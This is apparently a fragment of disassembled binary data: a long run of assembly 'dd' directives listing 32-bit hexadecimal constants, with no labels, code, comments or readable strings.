		dd 3C120028h, 0B4403733h, 0C5034E13h, 368BA7B3h, 0E70E8744h
		dd 0CB676A90h, 547818A6h, 1858348Eh, 48C2864Ch,	0A715D0DFh
		dd 20544DB6h, 93C52687h, 39F2CA6h, 45B604B8h, 26381A59h
		dd 0AC22A90Fh, 2BF0734Eh, 0F70200AFh, 0DBF28B92h, 2A007CFFh
		dd 8CCD424Ch, 0A69F4Bh,	267A24BDh, 0CFFFAB44h, 5E891700h
		dd 0C23B85E3h, 0DA6B0237h, 9C7E02D3h, 0CD1DDC48h, 565CB800h
		dd 68EF902Bh, 956000CBh, 0DA3CD5FAh, 8B00DB83h,	0D67F0CB5h
		dd 0C084835h, 2F729D47h, 0DF0076D0h, 74CA0D24h,	3E174Ah
		dd 85A9335Bh, 0B860A1DEh, 0FD2793Bh, 40ED0B4Dh,	291B287Fh
		dd 2DE058A4h, 4714D300h, 0D015BE9Fh, 0A60007F2h, 0D8A14645h
		dd 54674CB6h, 7A09C42h,	0E6C0FCF3h, 0B1DFB012h,	5204B9B4h
		dd 872BF6C9h, 9213BB40h, 0C300D469h, 2FDB24B0h,	0C2CA97Eh
		dd 0B1E57177h, 500CF10h, 0C68191Bh, 0AE69EA8h, 0F7764EC2h
		dd 0B85687E4h, 65ADA17Bh, 36EC646Ch, 0A11B6A00h, 7C40DCE3h
		dd 2B9D0155h, 0E50E5A09h, 6E818783h, 6DE02489h,	7FC17B6h
		dd 80E340D2h, 0BC84B564h, 88B4001Dh, 0A8B04C7Fh, 8A89045Ch
		dd 0C0ABCA62h, 0FD223408h, 11877737h, 6B70BFA0h, 0CDDB0E6Ch
		dd 36035CD3h, 0B2904F6Fh, 620165CEh, 0BCD0C750h, 56DCE68Ch
		dd 872A3AE5h, 16C6D401h, 0F1B27339h, 85508AA3h,	185C04ABh
		dd 10B10E2Bh, 0A30305B5h, 426CAFBFh, 0AA80CF02h, 19082E5h
		dd 366D248Ah, 0F5E43B28h, 0EE29909Eh, 44A1A484h, 0B7423921h
		dd 0EA04BC50h, 126E4921h, 4F9A1045h, 881E1688h,	93402A89h
		dd 94508419h, 1C419228h, 96B2ECh, 0CC258CD8h, 0E4DF7776h
		dd 4859160Fh, 4BCEE0h, 0FB6C4FA6h, 0B5820031h, 9A6B8353h
		dd 0CC79571Bh, 2EBC8000h, 9E92FFF0h, 9F01007Ah,	0F4F5175Bh
		dd 0EA007854h, 4571D083h, 0F28F81h, 5DAB3507h, 7DCB84BFh
		dd 0FEBDDE02h, 0E0738E01h, 0DCB81Ch, 6436F58Bh,	23401AAFh
		dd 2CE8293Eh, 0AD00850Ch, 0BEFFDE28h, 0E8845B87h, 3CDC0001h
		dd 3F04693h, 0C45C0096h, 0FF120D35h, 610033B2h,	0A1937C9h
		dd 23B4D6Fh, 1C7D2590h,	2F4132E4h, 26012078h, 74798114h
		dd 47D30080h, 8BAA95E0h, 2B7D00AFh, 0F1371CAEh,	59008F98h
		dd 0D0B4B872h, 275C21Dh, 7E4534C5h, 4408A7Ch, 3E008348h
		dd 0A162A0ACh, 0C66E0Eh, 2BCF97FCh, 0B1BFD8E4h,	0CC42DB00h
		dd 41FFE01Bh, 953F0051h, 18A8C45Bh, 90006CA5h, 0EA820853h
		dd 1E5ED93h, 6015F45Fh,	0E899AAD8h, 0B43B1A07h,	0FF9180BAh
		dd 0F12D9A38h, 0BE5600E8h, 0BD67648Fh, 617C86Eh, 240022F4h
		dd 9574E2E0h, 0B06A1C77h, 1268C1EEh, 3069978Dh,	0D6097B85h
		dd 8F40CDD0h, 2954185Eh, 862B00B0h, 6B3F7E05h, 0E73AA197h
		dd 6D7D8943h, 0EF80009Ch, 3DD856D5h, 6600F88Fh,	0A73757F9h
		dd 260083B7h, 0FC5C18CCh, 0EAE688CAh, 52FB3C99h, 12DA7300h
		dd 0CEC181E5h, 24C6BF00h, 7A8FBDB1h, 0C33700AFh, 5C9714D1h
		dd 9901790Eh, 6B1BCDB3h, 0DFF70Bh, 29B5B078h, 8BE1C9E2h
		dd 77499000h, 9BE96568h, 0A31E0B4Bh, 0EF80F37Bh, 0EB78533Fh
		dd 5FAD3B01h, 0A56B1366h, 2EA99C40h, 8D171DA8h,	3343C423h
		dd 9053C02Ah, 8900858Fh, 0F47A9D72h, 3E0B80h, 0B56BF2FCh
		dd 6CCFA666h, 60007E7Fh, 0ED35F17Ch, 3C818207h,	0FE007868h
		dd 301EB402h, 0EB00D1EAh, 97BC4558h, 0E848B03Ah, 68B612ABh
		dd 0CAA4006Ch, 42EFE65Fh, 63A6200h, 0BC1F9D14h,	0BDE80FD9h
		dd 1DC6B8B5h, 2A17FC3Eh, 0F2147CCAh, 0C0842434h, 0E0EC3340h
		dd 0C9953E7Ah, 71F6DA82h
		dd 0C4402789h, 0E7019732h, 65F0199Dh, 0E4FC5193h, 8AAA0CECh
		dd 36F81190h, 0A4D6B53Fh, 0C2A43416h, 13021E00h, 0C34B63h
		dd 9695B5BCh, 5678B212h, 80CF993Bh, 0E503245Eh,	0ECEA0h
		dd 0A53983D6h, 9816A831h, 4825B61Eh, 1FC49F9h, 0D5016D0Ch
		dd 3ED8F3B8h, 7379D9h, 0FC6E961Ch, 5DCDFB19h, 16112860h
		dd 38517D5h, 0CC83666Bh, 180095ADh, 53E9642Ah, 7DBFDBh
		dd 9E33CDAFh, 0F6F10267h, 0CC923F26h, 88975900h, 0E36A8D7h
		dd 20B18EEAh, 8000E469h, 4F514A72h, 0CFBF3E00h,	307187B8h
		dd 0BB11006Ah, 0EA269575h, 0DB00ED4Eh, 8D8A3D4Fh, 7B73FBh
		dd 53401D82h, 0FFFC6D5Ch, 6E0CC80Eh, 9A47C0CBh,	8CB64Eh
		dd 0B59EEF5Eh, 0E6FF0510h, 142CAC30h, 6A0F5Ch, 0AAE22A9Fh
		dd 0A7A30219h, 5F93F00h, 25AD4DE6h, 0B44400A9h,	368F850Eh
		dd 0F80742E4h, 99258EFh, 1CE65BC0h, 0E5FA022Eh,	53715055h
		dd 114440C0h, 0ACB8DD06h, 0F8EC05h, 72F604BFh, 0E09281A8h
		dd 2F46E100h, 23655A07h, 67F01EDCh, 60B4988Bh, 71F4A122h
		dd 311F1001h, 9636A402h, 2951C20h, 0FD182625h, 3468EED7h
		dd 0CB7DBE75h, 5F1E9709h, 0A7B88247h, 0E4C04848h, 3F7C7520h
		dd 0F0C8ACh, 6F429655h,	0CE72BEB4h, 954D510Bh, 6A4C0311h
		dd 0C730F869h, 825C00C3h, 0FC09528Ah, 0B6025067h, 1DE132CAh
		dd 0B08C0C5h, 0E8300058h, 887108E7h, 9C00E30Fh,	0A5A26D5h
		dd 0A0BA876Ah, 3A1B381h, 0CCEFCD56h, 48F01FD7h,	24E26620h
		dd 32A3EE01h, 0C64957BFh, 2EA82030h, 633922h, 33AED397h
		dd 50073E3h, 310E2A13h,	3A491D8h, 9B3A6518h, 3DA875A0h
		dd 0C30ED6ADh, 57204ACCh, 1DEE3900h, 0BC0185h, 273FB8CAh
		dd 0A45C6316h, 83D3AE00h, 4276B965h, 10260088h,	0D2A9CA6Dh
		dd 0A200D085h, 0AAEB6F66h, 151CB72Fh, 0ECE56544h, 1DF7AB0Eh
		dd 6800A0C9h, 2D3F116Ch, 72365D1Ch, 9B96F4E6h, 6025FC0Eh
		dd 0D47A7079h, 0AAC0F37h, 0EAC31F0Ch, 16F021F0h, 17B80E1h
		dd 0EBB088B0h, 6792E4FBh, 0F1005579h, 6035104h,	1C093EEh
		dd 0A38A4553h, 605AD1B0h, 682C6107h, 5200C03Fh,	0F7878D3Ah
		dd 0EA700467h, 90898A9Ch, 3EF90374h, 88EB5031h,	2A2088DCh
		dd 0CD95008Ah, 2AB0399Dh, 4700F50Dh, 0E2844023h, 6034F662h
		dd 0B2B9F08Fh, 0EC928BBBh, 0ECE89600h, 78A8802h, 44E1594Ah
		dd 17F49700h, 0D2A28FF7h, 21DA4100h, 0DBC6893Eh, 0BB6400B3h
		dd 0BC677D78h, 837D1A5Fh, 0C9E0800h, 0A87F18Fh,	0AE34097Fh
		dd 0E8814A6Bh, 0F0A9164Fh, 1E0FCD27h, 0E01DD72Ah, 0BEE5E978h
		dd 152D00BCh, 0ABC86928h, 0FA7530B7h, 0AABFE000h, 222BE520h
		dd 4126006Dh, 0B22AD89Ch, 65251B24h, 0FC0C20BEh, 0A4A37320h
		dd 31D03DE0h, 0BF809CB9h, 5958BC47h, 0B907C36Dh, 0AD954CC5h
		dd 5DD65E71h, 20C0118Bh, 70B28490h, 0BD08A26h, 9A3ED430h
		dd 685B24BFh, 56198028h, 0FBADAE49h, 80DCE538h,	0FA1B8DAh
		dd 7C38C7F4h, 0D0CA17FAh, 0A990063h, 0F197411Fh, 0C42AF700h
		dd 0DCAED992h, 0D04E0024h, 0EC0A61CAh, 0D6F6CE42h, 5E02C503h
		dd 151D5C0h, 18A1FE19h,	40351C4Eh, 172071ECh, 77194000h
		dd 101D9778h, 0A972009Ch, 5AA8A754h, 0EF005F8Ch, 0A23746E2h
		dd 60E4E8h, 0FA0575F9h,	43B01A30h, 8F27A714h, 849B00F3h
		dd 7D107229h, 0FB4B0066h, 2F91E3F3h, 7B3D06FDh,	5EBB05C5h
		dd 848788B5h, 207A0E0Fh, 7469AF37h, 5B310046h, 0A56E8EDFh
		dd 0D9003A22h, 6244EAE3h, 0EDB721h, 892FFFE9h, 0FEF66C61h
		dd 4BA30400h, 0BA32B6BFh, 559A20E5h, 8F6B1802h,	438D4521h
		dd 3989D854h, 0A2A10005h, 44CF7722h, 23007084h,	0FFEB82DBh
		dd 37A048h, 6EB052E7h, 64BD184Dh, 209CAC05h, 57805AC9h
		dd 137C85h, 601FD43Dh, 0D82B7418h, 0C000B8F6h, 5E7AA3B5h
		dd 54B268h, 0CF708CBFh,	0ADF1EA71h, 9DC24B00h, 0B6770484h
		dd 0E73209BCh, 0B600060Ah, 7F954CEh, 7F6EC3Ah, 0D49BA5A3h
		dd 4FFBC330h, 9531DD1h,	43A4C0FDh, 0ADBF505Ch, 1428A970h
		dd 0C7B0E4CAh, 1DB6D258h, 4287B654h, 0D9D0C619h, 0D72168h
		dd 0EDCF9086h, 0C58AD55Ch, 3ADE1001h, 295E3BF7h, 7C20ACC1h
		dd 53E00FCh, 0E54FE48Ch, 0E73D4C9Eh, 0B071008Bh, 0E63DC29h
		dd 0C474016Eh, 8DDB6DA2h, 0FE3170EBh, 0A7609200h, 944595Ah
		dd 7AD70353h, 2ACCD5C6h, 1C4D17D8h, 3C846F4Ch, 0EA290B46h
		dd 63C30730h, 0B45DE250h, 20A000A5h, 72381FB6h,	9D003017h
		dd 0FF088D11h, 563EE0h,	0E46FBF07h, 55EA1266h, 0A0F8230h
		dd 7BAD13Bh, 0F7BC0D4Eh, 0EF3503C3h, 22CDC001h,	5060F523h
		dd 0A697E081h, 30F918FEh, 4012A70Ch, 4375ED5h, 0FF13008Eh
		dd 0E42BC776h, 0F527055Bh, 0C0995F9Dh, 130EA860h, 37C86600h
		dd 961567D2h, 750B00A0h, 80C50DB0h, 0C1046593h,	0EAD38FABh
		dd 784AC6h, 192D4492h, 0BD2EAA0Ch, 273AB900h, 914C265Eh
		dd 0D2AD2E76h, 7CA10077h, 9470A3E8h, 66240561h,	4E460EAh
		dd 8DDA00F0h, 3134D3B3h, 4C4D96CBh, 0E42C00B8h,	7B801B40h
		dd 0FC510166h, 0C90442E8h, 0E03AE9A7h, 0AB2D4821h, 453F657h
		dd 0D1B33D6Bh, 2C042F74h, 4A110000h, 0C6D4780Eh, 84F21Eh
		dd 6590617Fh, 6F25335h,	0B34AF01h, 0ADFAE938h, 6C51409Ch
		dd 0F66A0294h, 0B4602A7Bh, 0C200DB64h, 0E92CCE1Ah, 139E5920h
		dd 283527h, 0DACFF337h,	0A500AFBEh, 48D999DEh, 3878FDh
		dd 7C0D5BD1h, 0A907CA77h, 0B7CCEE07h, 0C9F58471h, 0E2FFD800h
		dd 7D14DC0Eh, 45B61F5Fh, 198AC767h, 11FBE05Eh, 9C00CA24h
		dd 751C4BA9h, 17D9D66h,	65E9E760h, 0E49BCC46h, 0EC0733B9h
		dd 0C48EBFC8h, 0A308BCD0h, 0D8954CE6h, 0AF3D230Fh, 786BB900h
		dd 2C0E8CDBh, 0A3BAD4EBh, 0E85A9984h, 1D29E0CAh, 7490662h
		dd 0B72764A3h, 0DD8F003Ch, 44003EE1h, 2EA64D5Bh, 3E5DEDA8h
		dd 1920F14h, 0E210016Fh, 0D4BB877Ch, 0EF6538Ah,	6D7F8E00h
		dd 3757A91Ah, 0EC9B3F90h, 804C179Eh, 2258992Ch,	0B703E0D9h
		dd 0B03D3F83h, 0B0D3AB57h, 0FB474Fh, 8CE69036h,	0F9EC596Dh
		dd 46A8EA1Ch, 0A252007Fh, 0E20DE1DCh, 6BBA0035h, 9462120Bh
		dd 0C09886F6h, 2841C04Ah, 0EFA029EEh, 65B34D10h, 80FA603Bh
		dd 0A204CA4Ah, 1E9C77E1h, 89EDBFA7h, 40EA2738h,	67BD060h
		dd 5D11FA09h, 84C08F6Eh, 38A2CF14h, 0D0E80093h,	29A9769Eh
		dd 91D26B00h, 0B3CC2FDEh, 0B18E0142h, 0AE953707h, 3440205Ah
		dd 8813A704h, 0F981B60Dh, 342C46B2h, 0ED807800h, 44CC9838h
		dd 0CE606B3Dh, 4CC96C00h, 2EA2557h, 82A2FC6Dh, 2C5A6FEEh
		dd 0F9AB7001h, 0F2CF8624h, 0A500A462h, 82FC17C1h, 0E30037BBh
		dd 0BEFD9574h, 15D5F9Eh, 157A380Dh, 0C9A2DE11h,	0B8D5D8E2h
		dd 0C74BF00h, 0B442A54Bh, 87EC0Fh, 88C53280h, 0F0E13BB5h
		dd 0A01F402h, 80136DEFh, 75A61BA8h, 42DD00D9h, 0FF55110Eh
		dd 28F4EA44h, 49C4C100h, 3617AA05h, 0F00B3B65h,	201DBDACh
		dd 4E3858D8h, 160F7D00h, 790BDF98h, 0A527F809h,	0C8A9DAh
		dd 0C67CEFA0h, 742F0009h, 0E12A6F7Eh, 4E004F19h, 2B4B295h
		dd 0A2E52F7h, 5E355DA3h, 3CB007D8h, 1413D075h, 68004AE6h
		dd 0E81679Bh, 0A0DEEEh,	95F611AFh, 3C87C293h, 72DFAE00h
		dd 73825A52h, 0C07F1C33h, 1F9BC074h, 0EF99258h,	4A1BA23Fh
		dd 0ED6F7000h, 59932Fh,	0F4F66594h, 8E5DB279h, 0A99F7600h
		dd 0EBA5E7FFh, 5B700088h
		dd 3B592E03h, 1500F2E3h, 0FF4FD831h, 473940h, 0DDD1A321h
		dd 0E4DDFD5h, 5A144B01h, 0B86D887Fh, 5D5A20h, 797B934h
		dd 7BD69AE9h, 68FE1000h, 0B547DCD9h, 0CE9E2CA8h, 0C7003B17h
		dd 20AA37A1h, 73984012h, 23001EE4h, 0EE88A656h,	9ABD65D1h
		dd 0E81C0098h, 589557A5h, 1E017AD0h, 0B558039h,	0A0CCF440h
		dd 18E299h, 6AB71AB0h, 7D5598Bh, 0F60D2400h, 19109071h
		dd 9A3100A3h, 0D2D1EA36h, 70715157h, 651478B8h,	0B0909Bh
		dd 59BFDD7Bh, 96974DFAh, 2A12002Ch, 84660D98h, 24ECD13Bh
		dd 8C007863h, 94EF7A9Eh, 0F28DE5Bh, 300079EEh, 0A8ADDC4h
		dd 0F57A9926h, 3B5A403h, 0C50003Ch, 8BFA8776h, 0E1CFA76Fh
		dd 38730A4Fh, 79568C01h, 11808A3Fh, 9F192B94h, 28053BC8h
		dd 582CC0AAh, 2ADE4D1h,	3008989Ch, 0C3B06268h, 31001EB0h
		dd 9327CCDAh, 86AE8Ah, 12BEB205h, 6299461Fh, 6066AA01h
		dd 5DD4110Fh, 8090FCh, 0B75982F8h, 0C85F3D72h, 4E0D2C1Fh
		dd 0FDA1D080h, 1CB2C5D8h, 9ECA6B6Dh, 987D80A0h,	8F54FCF9h
		dd 5D470500h, 0D183CBCh, 0C840C35h, 52E09524h, 9917930Bh
		dd 608C581h, 1089E16Ch,	76A28316h, 2D59D4C1h, 0BF449110h
		dd 8833D280h, 29C2CC41h, 221543Dh, 0BE22BA22h, 72122232h
		dd 5F21F124h, 307A113Fh, 129E1B11h, 0B5821315h,	792626h
		dd 0D4CA8627h, 72A00858h, 0B8C38300h, 0C47FD513h, 74370FAEh
		dd 6D434BDAh, 2C900648h, 0B67D6F8Eh, 0D05B3Bh, 0E733B19Ch
		dd 1F9FE6CBh, 43BE1C16h, 20088117h, 433A06F0h, 0DB274400h
		dd 986F748Bh, 1FE5B093h, 0C052DEC1h, 0E497AF8h,	21005F0Fh
		dd 0CAB7625Ch, 0C661E4h, 0B0FFB854h, 0F3EEE1D0h, 65EDF900h
		dd 68F07077h, 0EB780C50h, 5F19CC5Ah, 23763E00h,	380A155Dh
		dd 0D86C5D3Bh, 41B72Ch,	0C869C234h, 17008608h, 7376CEE9h
		dd 5B602FEh, 0A1D77478h, 26DCC338h, 0EC0B4180h,	0FC5C1E0Bh
		dd 0B8406857h, 9CE08044h, 6433F981h, 6FD0014Ah,	0F4289BF1h
		dd 891F22EFh, 43CE7404h, 0F50092FBh, 0BE56F37Fh, 164F0702h
		dd 97B36469h, 10A84014h, 0EC382806h, 121500EAh,	20E44886h
		dd 0ED5C0BADh, 2080DC98h, 0B51B169Eh, 0FAB442Eh, 0F4603C26h
		dd 84655Eh, 471E219Ch, 7A728EABh, 7EC2232Dh, 0C1490502h
		dd 0D718808Ah, 1F00B888h, 0BD5FAD63h, 0EA7214DBh, 18890F62h
		dd 0F70042FCh, 0AAD62140h, 22203D05h, 238064E8h, 0F2B1677Dh
		dd 2CCD7D9Ah, 2C30F4B3h, 0CE060406h, 0C8848389h, 1F2C3580h
		dd 9821E601h, 140849D8h, 581DFC78h, 0C242C01Bh,	7C669A4Ch
		dd 750F3892h, 402440F1h, 2D04E0BFh, 0B1031287h,	520D0B11h
		dd 8C85300Fh, 4708D0C4h, 9DE2F30Fh, 8800D54Fh, 7A401789h
		dd 0F59B5C54h, 5998DC02h, 505301CEh, 8C50DD50h,	35BA90A0h
		dd 0FF93F11Ch, 78F6C585h, 84C038E5h, 825C00A9h,	7C83D787h
		dd 0D8FDF1B1h, 6705CBC4h, 0B71D38B3h, 4A40DC00h, 1F83354h
		dd 0E2F3A29Eh, 7090EED7h, 0BE3072ECh, 0CB1ACCBh, 80B75038h
		dd 87D6025Bh, 0E96DB330h, 0DCB404E1h, 30910253h, 42261880h
		dd 473656h, 0A133E00Eh,	4D7A4BAAh, 385FF303h, 0C9E33EA2h
		dd 470C236h, 0B9790028h, 521BD1BFh, 0F1A08D22h,	1E909285h
		dd 0A54C6A00h, 0F38A4F20h, 0F712011Ah, 4036B5E6h, 0A31EEC5Fh
		dd 0F0EB8300h, 8802CC6Eh, 0C721003Eh, 0E396273Fh, 6A00A4E0h
		dd 0D47B084Dh, 543393h,	0A01C4822h, 0C577E6DCh,	341F9500h
		dd 2DE394C9h, 0A8994943h, 97368E14h, 0BDA2ED01h, 42E9D44Ch
		dd 0BCC399F0h, 0DEB2C88h, 0C3CD3900h, 0E43C5BC6h, 457595h
		dd 7F6D9282h, 0C536530Ch, 0E17AE00h, 7E434999h,	6BA200A4h
		dd 0B63501B5h, 1900C5C1h, 0F5A19C46h, 0FEC0C4C9h, 1E6D04D6h
		dd 0C0162156h, 4EF76300h, 4476E210h, 41A86A00h,	208B24FFh
		dd 3600B490h, 7A952901h, 48A3189Dh, 0DA2F1C51h,	4A717C23h
		dd 86ED0AD0h, 0D53E500h, 0D8B3CC8Bh, 0E93A6048h, 132679E2h
		dd 0EEA0C760h, 18EBA2Ch, 0F10264D3h, 6094257Ah,	2301D5A0h
		dd 77A999FCh, 48804432h, 6CAB0D47h, 0FE00F639h,	9B4CF4E6h
		dd 646A562h, 0F384EAB4h, 5C00588Bh, 0C92ADB08h,	25E93B4Dh
		dd 288FF18Dh, 0E77B1A0h, 80901F44h, 0BA89AFE2h,	700FA030h
		dd 8A390049h, 86906964h, 0D41EC240h, 7C82D047h,	23DD01h
		dd 0D5BF3557h, 98F6411Eh, 21378FC3h, 7503A8AEh,	5D2F2851h
		dd 0F74700BFh, 709605CDh, 0A700D2E6h, 0A6DF6BE9h, 70638064h
		dd 20A20001h, 28E60E10h, 6B00F94Bh, 5F8FA65Ch, 334085Bh
		dd 0C3BA9F3Ch, 20A860C7h, 0E700AE81h, 36F73353h, 86F217h
		dd 0C429A2B5h, 0EE3F8D3Bh, 46042B0Eh, 5283C04Ch, 1FE46C39h
		dd 492AD3F9h, 60808CAEh, 0CDD52068h, 0C182C000h, 1CE9F7ACh
		dd 4AEE01B7h, 0D16275FDh, 3AEBCC7Bh, 0E1DE800Eh, 7A5A6031h
		dd 7EC8A4h, 8C24CC45h, 300AC128h, 0E6407C79h, 67781240h
		dd 80745D98h, 10A63BBDh, 7A075EC1h, 83B222D4h, 0A44ACFC0h
		dd 0D31500A5h, 3A8E6D79h, 0E4004FB8h, 11D417CDh, 30F781E7h
		dd 0D710CA53h, 9107F605h, 49E50CF8h, 0C7551340h, 4BB0075h
		dd 0DE549D9Ch, 0F1042C73h, 440596C0h, 81FFEA80h, 0ECF4904Fh
		dd 0DF761375h, 2975007Dh, 916E21DAh, 8EDC7316h,	7B271207h
		dd 4C74AB60h, 2E2B0658h, 8057CB37h, 2F53B900h, 8D61440Dh
		dd 0F1FC0028h, 5D899842h, 710046A8h, 3EC9F3DCh,	95FA9Ah
		dd 0F56932C5h, 59D2CA5Ch, 0D63D4D70h, 9712136Bh, 25F288C0h
		dd 5CF00ABh, 1A6F2BB0h,	0EA0098D4h, 5B91ADFDh, 1047D33h
		dd 3192AC3Eh, 38DCB6EEh, 88501248h, 46F08B4h, 0F705E1EBh
		dd 3AD0C047h, 9090D01h,	0E049216h, 0B0EC207Eh, 7DFCAE7h
		dd 0C28A9574h, 68E490D6h, 0F0000C1Bh, 0EB9A216Bh, 5023D14Ah
		dd 509C22h, 0F43A1E2Ah,	0C78006EFh, 7F0CA3Dh, 3FA9A09Bh
		dd 0F47840F9h, 8DE60046h, 2919F75Ch, 0B412ECC6h, 0C8A4A2C3h
		dd 0FF1F0050h, 52040A40h, 1A000285h, 674876BBh,	0F6591Ch
		dd 2EC0610Ch, 44CD5221h, 1758D001h, 8FF4C325h, 7F74202Ah
		dd 0E9C010F5h, 0A179CA89h, 0F3942C59h, 408C9C90h, 928A74B7h
		dd 0E213F29Eh, 9300A229h, 0B8879410h, 6B951F75h, 0E791801Ah
		dd 85E8439Dh, 6A00E290h, 876C2072h, 0DF2EA7h, 79BC03A8h
		dd 9C864BFCh, 245A1900h, 6E28C13h, 60BE0116h, 0C887EADDh
		dd 2FE0C2B4h, 0C673342Eh, 9736D600h, 310FFFBDh,	9A541628h
		dd 18AC00DAh, 0F6639F3Ah, 8CE10E05h, 0B3804107h, 0F37DC23h
		dd 9495420Ah, 0C57F11A0h, 760197D8h, 63ED3005h,	0F8E244DBh
		dd 0BA200E98h, 0B9875C10h, 21ED627Ah, 8061A889h, 0A102262h
		dd 985623A5h, 0DF48DD00h, 687B73h, 5413BC58h, 0E7CD8E4Eh
		dd 36398C0Bh, 17A081EBh, 1420EDB1h, 18F20043h, 0F490F09Fh
		dd 4C019B07h, 16B9FEC3h, 0EC500559h, 0C4A70Ch, 7BF16CD0h
		dd 2196D1AEh, 0D4001971h, 8C52753Eh, 0F94285h, 0CF39C3Ah
		dd 7618EF45h, 0C6C93501h, 0F806C737h, 87C0022Ah, 454E6EBh
		dd 514FB903h, 0AD1800B0h, 0FA7707Eh, 0FE0187BCh, 0D73B1505h
		dd 0CC6C14D3h, 81502C16h, 646699B4h, 2809B7A8h,	804C34DDh
		dd 0D0C95C6Ch, 0EFEA00A6h, 0E7BFC53Bh, 0F4A99EE3h, 0EC8DDCCBh
		dd 219A38C1h, 27DD305Bh, 1B91E4h, 6A422A5h, 8D51B7CAh
		dd 182ADC00h, 68345A70h, 9117161Ch, 6C73002Bh, 3D0C03F2h
		dd 0DA702F02h, 62670FC7h
		dd 10F80Ch, 96A67309h, 0CA4C7CE9h, 0C98D40h, 63220842h
		dd 0E4068F6Bh, 3900EFFEh, 0FA5B1C9Ah, 1C34C030h, 0C02E04C7h
		dd 0D1C2B29Fh, 2F007142h, 63EA579Ah, 8B4B17h, 6EAC776Dh
		dd 888108Ah, 0BF1F0E12h, 0D30160B2h, 0FFD19215h, 3C8FC0EFh
		dd 89A8413Eh, 737E75h, 385E8630h, 0D0BCA39Dh, 37C6E0Bh
		dd 33839FDAh, 64F87623h, 1100EBCDh, 486AA7F2h, 1954FA1h
		dd 0F03F9CC8h, 30D6B877h, 0BE0023F6h, 152164AAh, 8CE618h
		dd 8136E5F2h, 0CD669B8Bh, 0FE3C2400h, 9A57DEA0h, 0B4200BDh
		dd 0BC348AA8h, 751270CCh, 0AA0EF4ACh, 612D2037h, 941BE6FAh
		dd 0AA3900C4h, 0BF70DF2Ah, 33498800h, 0CC4B46C3h, 5F45245Bh
		dd 0FB00BDF8h, 90E40209h, 8C3F2F7Ah, 58920001h,	6F142E03h
		dd 0AD0E0081h, 0A31A3575h, 0F73BDCC0h, 408C504Ah, 45763700h
		dd 0CE51F5FCh, 0C09099h, 0E0E323A2h, 6B3E5AAh, 5B02409Ah
		dd 34B6F60Dh, 0C96849C2h, 8900C428h, 1FD4DAA7h,	0E30F2171h
		dd 0E0022760h, 77BBAE41h, 0FA960F16h, 9CE27Ch, 13EE7437h
		dd 0E6FAB73Bh, 1EB9A000h, 28570BA1h, 0AF4F00C7h, 242AD234h
		dd 0E003C96h, 14FF9915h, 30D8E3CAh, 4A21C64Fh, 3D0772ECh
		dd 0D76885F9h, 0CC7814D0h, 8770C10Eh, 0E839C962h, 6000FCAEh
		dd 0F3D54569h, 0E1FD7625h, 28CA33F8h, 0C9F797h,	0D5A7E949h
		dd 309086FEh, 7ABCA500h, 0AA2FBEEEh, 5FF00BD2h,	3681C187h
		dd 31A1695Ch, 0FF9AE09Ch, 4EFCEA03h, 225FE6h, 0ED7B0EF8h
		dd 104278D8h, 0B2D93Bh,	545327C8h, 3D9E48h, 95655AF6h
		dd 46DFD204h, 99F09775h, 2AD1A300h, 72BA3C17h, 1937891h
		dd 78B71590h, 8039658Ch, 0B4AD210h, 5CFEE586h, 2E04E725h
		dd 0C0AC378Dh, 4E9EAA0Fh, 3E29B100h, 0D9219C80h, 48C01309h
		dd 53390503h, 0D8C0005Ch, 0C4BD661Ah, 682D5400h, 0D30245A3h
		dd 18E31CA8h, 3D6964F9h, 0EEBB5201h, 60B42FC8h,	631D5317h
		dd 1831C1DEh, 2BF909ACh, 8DD43EDh, 0AED47CE9h, 5C2917F4h
		dd 9AB20089h, 0B316B045h, 9578E660h, 0A02C9DAh,	47E47E12h
		dd 0B20C80F0h, 4F67C670h, 2552B300h, 0DA18B9C9h, 4BED0051h
		dd 0A27DA880h, 0E6004A79h, 13490BF8h, 3AD6F44h,	0C0D11D36h
		dd 47AB2DFDh, 3AC8200Fh, 0B6608043h, 96BF58h, 45DE7163h
		dd 0C911C1D0h, 94AB8000h, 544ED122h, 1FA4008Fh,	0AAC6ECF9h
		dd 38003A26h, 19C4A3F6h, 212C72h, 191B139h, 0EEECFB50h
		dd 47C91E01h, 5488696h,	4D5260h, 36DDEF09h, 17E22AD6h
		dd 1E6EBD00h, 80610A0Dh, 8DD50344h, 0BAC1F5C8h,	1DD0D1A8h
		dd 0D3B76B02h, 80DCCE87h, 0F1B19C90h, 706791Eh,	0D068B054h
		dd 0F9E0EE14h, 0D430F580h, 624A7D00h, 0B3156F07h, 7EDF0741h
		dd 0F042521Bh, 3E2335F8h, 9D1FDE00h, 51B8FAECh,	0B9F504B3h
		dd 0C1762204h, 0F8D82BB6h, 0FC2BED6Bh, 0B960C8D9h, 40300Dh
		dd 0BA13D025h, 4D553666h, 0B0467B14h, 0C9EA02D4h, 8028A3CEh
		dd 180F68BCh, 9F290063h, 67619164h, 0D6008905h,	0E223A6EAh
		dd 3D0B95h, 0B103017Ch,	0AD887E76h, 81CC903Eh, 6D39C3Fh
		dd 55DC51C4h, 1FBE006Fh, 0F68B276Ch, 0A269D80h,	0BF00F2h
		dd 889BB3E1h, 0BDCF76h,	90711260h, 706E9642h, 38B85700h
		dd 52D888E2h, 29AB07A9h, 573DC2D9h, 0C86970DDh,	0B9009241h
		dd 6B11D4EEh, 5F1AD07h,	0B75F7C86h, 0F28000B3h,	90D27D31h
		dd 23BEA704h, 0D3C16880h, 8A40A001h, 782966Fh, 0EE78C73Dh
		dd 0F2AB07ECh, 0A7C03CCEh, 3B00FF39h, 59F69961h, 50067Eh
		dd 0C0A75C0h, 833CAA6Ch, 28B58F30h, 0EA6A55h, 3E26724Ch
		dd 0FDEF0F97h, 950B310Eh, 818AE078h, 1FBC432h, 1FADDCDh
		dd 0D098F640h, 41F24C3Dh, 3EA880FDh, 328FA4E4h,	8813079Ah
		dd 0ECBE0596h, 6EE801A0h, 1B422F1h, 4AE50CCBh, 9440E3C7h
		dd 0F3E043h, 93372697h,	678BEA7Bh, 0F960D518h, 0C4FE20h
		dd 3C7AE720h, 87334E9Ch, 36437F00h, 0D0F0FCF8h,	73DC002Ah
		dd 0E48AEA4Ah, 42B049D6h, 2C115700h, 64D9C8BEh,	0DC690085h
		dd 0FF3B4896h, 0F03D72D3h, 0F28F00EAh, 0F85B128Bh, 0FD580F73h
		dd 2A600A79h, 8DF68305h, 7800D1B8h, 0B291E356h,	7260327h
		dd 0D6AD57E9h, 0C05F3E73h, 6F3DB14Dh, 0FC2740EFh, 1C55DEA2h
		dd 0BD210091h, 0DDC04876h, 1BB86304h, 1DC0DAFDh, 26A78FDFh
